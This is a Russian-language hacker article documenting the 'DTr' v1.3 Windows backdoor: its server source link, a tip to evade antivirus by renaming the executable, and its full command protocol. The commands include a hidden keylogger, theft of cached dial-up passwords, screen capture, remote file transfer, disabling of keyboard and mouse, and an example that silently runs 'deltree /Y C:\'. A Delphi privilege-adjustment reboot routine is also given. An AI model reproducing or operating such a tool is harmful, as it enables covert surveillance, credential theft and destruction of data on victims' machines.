BackDoor - удалённое администрирование 3
|
Чуваку надоело работать с Windows 95 и он выдернул шнур из розетки.....
На экране надпись "А вы уверены?"
|
Как все наверное знают, DrWeb и AVP уже начали определять мою прогу "DTr" v.1.3. Я решил это дело пофиксить. Выбрал время, набрал пива, поставил брейкпоинты на SoftIce, а потом решил "проверить на вшивость". Изменил имя приложения, откомпилил, запустил сканеры. Проверил. Запаковал, запустил мониторы, переписал туда-сюда. Не ловят. Цирк. Как говорила одна моя знакомая: "я забыла сопротивляться". Эти "супер" антивиры отлавливают пока только имя приложения. Это значит что если генерить имя случайным образом, то по этому алгоритму работы они вообще его ловить не будут. А если обозвать приложение именем какого-нибудь стандарта? Например, "internat.exe"? Кстати имя приложения изменяется в 118 строке в значении константы "AppName" в исходниках (см. ниже).
В любом случае я решил форсировать процесс и выложить на свою страницу полные исходники сервера. Исходники клиента и дополнительной DLL выкладывать не буду - там столько используется моих и не моих компонентов и модулей, что это уже мало похоже на Delphi. Тем более клиент и DLL антивирами не определяются, а в следующих статьях я "освещу" клиент на "чистом" Delphi.
Исходники особым обилием комментариев не отличаются, но после внимательного прочтения моих предыдущих двух статей на эту тему, я думаю, в них можно разобраться. Единственная сложность, какая может возникнуть, это закачка файлов, но общий принцип работы алгоритма я расскажу в следующих статьях. Тем более, что особо разбираться и не нужно - изменить имя приложения можно и так. В этой статье я дам подробное описание команд, которые понимает сервер.
В сервере замечены баги на Win95, при перезагрузке компа и т.п. Об этом я также расскажу. Исходники находятся на моей странице в архиве www.danil.dp.ua/dtr_s13s.zip. Особой красотой алгоритмы не отличаются. Принцип был один: работает - и ладно, а оптимизация будет в следующей версии. Замечу, что пришлось переписывать функцию преобразования строка-число - под NT выдавала какой-то бред.
КОМАНДЫ "DTr" v.1.3:
Некоторые обозначения:
- _#13_ - символ с кодом 13;
- <параметр> - параметры команды (без <>).
Команды чуствительны к регистру - "helo" и "HeLo" не одно и то же.
- Проверка связи. Команда "helo". Параметров нет. Должно выдать систему сервера, каталоги, имя юзера и т.д.
- Файловый менеджер. Команда "ld <каталог>". Требует от сервера вернуть список файлов и директорий, находящихся в <каталог>. Сервер возвращает список из строк, разделенных символом #13. В начале списка стоит "[[[ListFile <каталог>_#13_" для указания клиенту, что это список файлов, и вывести его надо в окне файлового менеджера.
ПРИМЕР:
- Список запущенных процессов на удаленном компьютере. Команда "lp". Параметров нет. Должно выдать список процессов в окне сообщений. Требует для своей работы дополнительную DLL (см. в клиенте).
- Прервать процесс. Команда "dp <№ или ID процесса>". Прерывает процесс. № (для Win9x/ME) или ID (WinNT) - из списка процессов (смю выше). Требует дополнительную DLL.
ПРИМЕР:
- Перегрузить удаленный комп. Команда "rbt". Работает только на Win9x/ME. Если есть желание, то можно дописать для NT. Для этого нужно запросить дополнительные права. На Delphi это выглядит примерно так :
procedure ReBoot;
var
hToken: THandle;
tkp: TTokenPrivileges;
RetLen: DWORD;
PreviousState: TTokenPrivileges;
Ver: TOsVersionInfo;
begin
try
Ver.dwOSVersionInfoSize := SizeOf(Ver);
GetVersionEx(Ver);
if Ver.dwPlatformId = VER_PLATFORM_WIN32_NT then
g>begin // если WinNT
if not OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
exit;
if not LookupPrivilegeValue( nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid) then
exit;
PreviousState := tkp;
tkp.PrivilegeCount := 1;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
if not(AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(PreviousState), PreviousState, RetLen)) then
exit;
end;
ExitWindows(EWX_REBOOT,0); // перезагрузить
except
end;
end;
|
- Выключить компьютер. Команда "sd". Работает только на Win9x/ME.
- Запуск win-приложения. Команда "start <имя файла>_#13_<параметры>_#13_<вид>". Запускает приложение. Может запустить и связанный файл: например "*.doc". <вид> - способ запуска (число):
- 0 : скрыто;
- 1 : минимизировано;
- 2 : нормально;
- 3 : на весь экран.
ПРИМЕР:
"start C:\WINDOWS\1.doc_#13_#13_3"
|
- Запуск DOS-приложения. Команда "startDOS <имя файла>_#13_<параметры>_#13_<вид>". Запускает приложение. <вид> - способ запуска (число).
ПРИМЕР:
"startDOS C:\WINDOWS\COMMAND\deltree.exe_#13_/Y C:\_#13_0"
|
- Проверка дополнительной DLL. Команда "dll DTrTestDLL_#13_<строка>". Проверяет доступность и инициализацию дополнительной DLL. Служит для проверки DLL при переименовании и переносе. Предполагается в следующих версиях этой командой запускать функции из дополнительной библиотеки ("dlll <команда>_#13_<параметры> "). Сервер должен вернуть <строка> или сообщение об ошибке. Само-собой на сервере необходима дополнительная DLL.
ПРИМЕР:
"dll DTrTestDLL_#13_ddddd"
|
- Образ экрана. Команда "scr <файл>". Сканирует экран и переносит в gif-файл. Требует для своей работы дополнительную DLL.
ПРИМЕР:
- Высветить сообщение. "sm <вид> <заголовок>_#13_<текст сообщения>". Высветить сообщение. <вид> - иконка (число):
- 0 : нету;
- 1 : Stop;
- 2 : !;
- 3 : ?;
- 4 : Info.
ПРИМЕР:
"sm 1 Error_#13_System FAILURE"
|
- Минимизировать и закрыть активное приложение. Команды "mnwn" и "clwn" соответсвенно.
- Выключить экран, мышь и клаву. Команды "clsc", "clms" и "clkl". ВНИМАНИЕ. Используются команды "rundll32.exe user,disableoemlayer", "rundll32.exe mouse,disable" и "rundll32.exe keyboard,disable". Обратные команды типа "rundll32.exe mouse,enable" не работают. Комп придется перегружать.
- Убрать с экрана и показать панель задач. Команды "ht" и "st" соответственно.
- Пробипать динамиком. Команда "bp <кол-во раз>".
ПРИМЕР:
- Просмотр подключей выбранного ключа реестра. Команда "RegVKey <ключ>_#13_".:
- 0 : HKCU;
- 1 : HKLM;
- 2 : HKU;
- 3 : HKCC.
ПРИМЕР:
"RegVKey Software_#13_1" // Просмотр всех подключей в HKEY_LOCAL_MACHINE\SOFTWARE
|
- Просмотр параметров выбранного ключа реестра. Команда "RegVPar <ключ>_#13_".
ПРИМЕР:
"RegVPar Software_#13_1" // Просмотр всех параметров в HKEY_LOCAL_MACHINE\SOFTWARE
|
- Создать подключ в выбранном ключе реестра. Команда "RegCKey <ключ>_#13_<подключ>_#13_".
ПРИМЕР:
"RegCKey Software_#13_sss_#13_1" // Создать подключ "sss" в HKEY_LOCAL_MACHINE\SOFTWARE
|
- Создать/Изменить строковой параметр в выбранном ключе реестра. Команда "RegCPar <ключ>_#13_<параметр>_#13_<значение>_#13_".
ПРИМЕР:
"RegCPar Software_#13_sss_#13_ddd_#13_1" // Создать/изменить параметр "sss" с значением "ddd" в HKEY_LOCAL_MACHINE\SOFTWARE
|
- Создать/Изменить числовой параметр в выбранном ключе реестра. Команда "RegCWPr <ключ>_#13_<параметр>_#13_<значение>_#13_".
ПРИМЕР:
"RegCWPr Software_#13_sss_#13_666_#13_1" // Создать/изменить параметр "sss" с значением "666" в HKEY_LOCAL_MACHINE\SOFTWARE
|
- Удалить подключ в реестре. Команда "RegDKey <подключ>_#13_".
ПРИМЕР:
"RegDKey Software\sss_#13_1" // Удалить подключ "sss" в HKEY_LOCAL_MACHINE\SOFTWARE
|
- Удалить параметр в ключе реестра. Команда "RegDPar <ключ>_#13_<параметр>_#13_".
ПРИМЕР:
"RegDPar Software\sss_#13_ddd_#13_1" // Удалить параметр "ddd" в HKEY_LOCAL_MACHINE\SOFTWARE\sss
|
Для всех нижеследующих команд необходима дополнительная DLL.
- Включить клавиатурный шпион. Команда "KeySpyON <файл>". Включить кл.шпион с записью в <файл>. Файл потом закачивается с помощью файлового менеджера. Файл имеет атрибут системный и для юзера в проводнике не виден.
- Выключить клавиатурный шпион. Команда "KeySpyOFF".
- Получить кешированные инет-пароли. Команда "CrckP". Сервер должен вывести все пароли, на свойствах соединения которых стоит "Сохранять пароли". Только для Win9x/ME.
- Получить инет-пароли из EType Dialer. Команда "CrkED".
- Получить список доступных по сети компьютеров. Команда "UserList".
- Получить список зарегестрированных в WinNT-server пользователей на удаленном компьютере. Команда "ServList". Только для WinNT-server.
Команды файлового манеджера.
- Показать список зарегистрированных в системе дисков - "ld". Возвращает список дисков со строкой "[[[ListDrvr " в начале.
- Показать список файлов и каталогов в указанной директории - "ld <каталог>". В начале списка стоит "[[[ListFile <каталог>_#13_".
- Создать каталог в текущей директории - "MakeDir <имя>".
ПРИМЕР:
- Переименовать/перенести, скопировать файл, каталог - "CopFile <родительский каталог>_#13_<имя файла, каталога>_#13_<куда>_#13_<вид>". <вид>:
- 0 : копировать каталог со всем содержимым;
- 1 : перенести/переименовать каталог;
- 2: копировать файл;
- 3 : перенести/переименовать файл.
ПРИМЕР:
"CopFile C:\WINDOWS\_#13_win.com_#13_C:\TEMP\1.tmp_#13_3"
|
- Удалить файл, пустой каталог - "DelFile <имя>". Удаляет файл или пустой каталог. Если каталог, то на конце должно быть "\". <имя> - полный путь.
ПРИМЕР:
"DelFile C:\WINDOWS\win.com" или "C:\WINDOWS\"
|
- Показать атрибуты файла, каталога - "ShowAttr <имя>".
ПРИМЕР:
"ShowAttr C:\WINDOWS\win.com"
|
- Изменить атрибуты файла, каталога - "SetAttrb <имя>_#13_<атрибут>".
ПРИМЕР:
"SetAttrb C:\WINDOWS\win.com_#13_0"
|
- Получить файл с сервера - "LoadFile <полный путь к файлу на сервере>_#13_<размер буфера>". Файл передается по частям и <размер буфера> - размер передаваемого буфера для файла. На разных компах была замечена такая особенность: клиент и сервер получают не столько, сколько указано, а столько, сколько захотят (т.е. он может принять подряд 4800, 6800, 8600, и т.д.).Поэтому была сделана возможность установки размера буфера приема и отправки.
ПРИМЕР:
"LoadFile C:\WINDOWS\win.com_#13_4000"
|
- Отправить файл на сервер. Файл разбивается (в случае необходимости) на части. Размер частей зависит от буфера обмна. Вначале посылается команда "SaveFile <полный путь и имя файла на сервере>_#13_<размер>". Потом шлются команды "SconFile <размер>_#13_<часть файла>", где на сервер отправляется весь файл по частям. Сервер после получения и записи должен отвечать. Последняя часть файла идет так: "SendFile <часть файла>". Это говорит серверу что нужно записать и закрыть файл.
Функции дополнительной DLL ("nb003.dll"):
- DTrTestDLL
- Проверка дополнительной DLL. Входной параметр - указатель на строку, выходной параметр - указатель на строку вида: "Проверка DLL выполнена. Полученная строка - ...".
- DTrLstProc
- Список запущенных процессов. Входной параметр - число, определяющее систему сервера (0-Win9x/ME,1-WinNT). Выходной параметр - указатель на список строк, содержащий названия и номер всех запущенных приложений.
- DTrDelProc
- Прервать процесс по номеру или ID. Входные параметры - число, определяющее систему сервера и номер или ID удаляемого процесса. Выходной параметр- указатель на строку с информацией о результате выполнения операции.
- DTrGetScr
- Получение снимка экрана в файл. Входной параметр - указатель на строку с полным путем и именем gif-файла. Выходной параметр- указатель на строку с информацией о результате выполнения операции.
- DTrEDPass
- Получить пароли EType Dialer. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий все полученные пароли или сообщение о неудаче выполнения операции.
- DTrCrkPass
- Получить кешированные инет-пароли. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий все полученные пароли или сообщение о неудаче выполнения операции.
- DTrSrvLst
- Получить список пользователей WinNT-server. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий инфу обо всех юзерах или сообщение о неудаче выполнения операции.
- DTrUsrLst
- Получить список подключенных к серверу компов. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий имена всех компьютеров или сообщение о неудаче выполнения операции.
- DTrKeyProc
- Функция клавиатурного шпиона.
Теперь о багах. Почему-то если сервер стоит на Win95, то в окне получаемых сообщений, если предыдущая посланная строка была больше текущей, то выводится полученная строка и окончание предыдущей. Это все фиксится обнулением буфера отправки или отправкой только стольких байт, сколько есть в подготовленной строке. Т.е. или перед отправкой надо ставить:
mov ecx,6666
mov edi,offset BufStr0
lll_1: mov byte ptr [edi],0
inc edi
loop lll_1
|
Или, лучше, конструкцию:
invoke send,client,addr BufStr0,sizeof BufStr0,0
|
Надо переписать так:
invoke lstrlen, addr BufStr0
invoke send,client,addr BufStr0, eax,0
|
P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.
|